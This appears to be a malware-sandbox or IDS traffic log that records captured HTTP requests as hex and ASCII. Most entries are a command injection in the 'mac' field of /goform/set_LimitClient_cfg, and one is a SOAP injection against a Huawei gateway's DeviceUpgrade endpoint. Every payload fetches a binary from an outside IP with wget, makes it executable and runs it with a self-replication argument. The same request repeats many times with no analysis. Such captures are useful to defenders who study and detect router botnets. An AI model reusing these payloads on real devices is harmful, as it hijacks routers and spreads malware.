time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 470Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 20 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 20 2d 72 20 2f 73 6b 79 6c 6a 6e 65 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.245.236.109 -l /tmp/linux -r /skyljne.mips; /bin/busybox chmod 777 /tmp/linux; /tmp/linux selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
